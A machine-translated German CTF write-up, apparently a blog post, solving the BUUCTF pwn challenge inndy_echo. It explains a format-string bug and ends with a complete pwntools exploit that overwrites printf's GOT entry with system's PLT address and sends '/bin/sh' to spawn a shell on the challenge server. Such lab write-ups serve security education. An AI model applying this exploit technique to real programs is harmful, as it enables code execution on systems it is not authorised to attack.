[BUUCTF] PWN —— inndy_echo (32-Bit-Fmt zum Ändern der Got-Tabelle)

inndy_echo

annektieren

Schritt

  1. Routineinspektion, 32-Bit-Programm, nx-Schutz ist aktiviert
    Fügen Sie hier eine Bildbeschreibung ein

  2. Versuchen Sie einen lokalen Testlauf, um die allgemeine Situation zu sehen. Ich habe festgestellt, dass es Schwachstellen in Bezug auf Formatzeichenfolgen gibt und welche jederzeit eingegeben werden können.
    Fügen Sie hier eine Bildbeschreibung ein

  3. 32-Bit-IDA geladen und
    Fügen Sie hier eine Bildbeschreibung ein
    festgestellt, dass das Programm eine Sicherheitsanfälligkeit bezüglich Formatzeichenfolgen und eine Systemfunktion aufweist. Ich dachte daran, printf @ got to system @ plt zu ändern. Da das System zu Beginn nicht ausgeführt wurde, wurde die Adresse in Die got-Tabelle war falsch. Sie müssen die plt-Tabelle im Inneren verwenden. Dann übergeben Sie bin / sh

  4. pwntools integriert ein leistungsstarkes Tool, mit dem wir den entsprechenden Wert schnell ändern können.
    Befehlsformat: fmtstr_payload(argue_place, {printf_got_addr: system_plt_addr})
    Argue_place repräsentiert die Parameterposition der ersten vier Zeichen in der Nutzlast (dh den Wert von p in% p $ n, wir nennen ihn It Offset )

  5. Nachdem Sie die Idee
    Fügen Sie hier eine Bildbeschreibung ein
    geklärt haben , bestimmen Sie zuerst den Versatz, stellen Sie fest, dass der Versatz 7 ist, sodass Sie fmtstr_payload (7, {print_got: system_plt}) direkt verwenden können, um die Änderung abzuschließen, und übergeben Sie dann den Parameter '/ bin / sh'.

Volle exp

from pwn import *

r=remote('node3.buuoj.cn',27843)
elf=ELF('./echo')

printf_got=elf.got['printf']
system_plt=elf.plt['system']

payload=fmtstr_payload(7,{
    
    printf_got:system_plt})

r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()

Ich denke du magst

Origin blog.csdn.net/mcmuyanga/article/details/113509240
Empfohlen
Rangfolge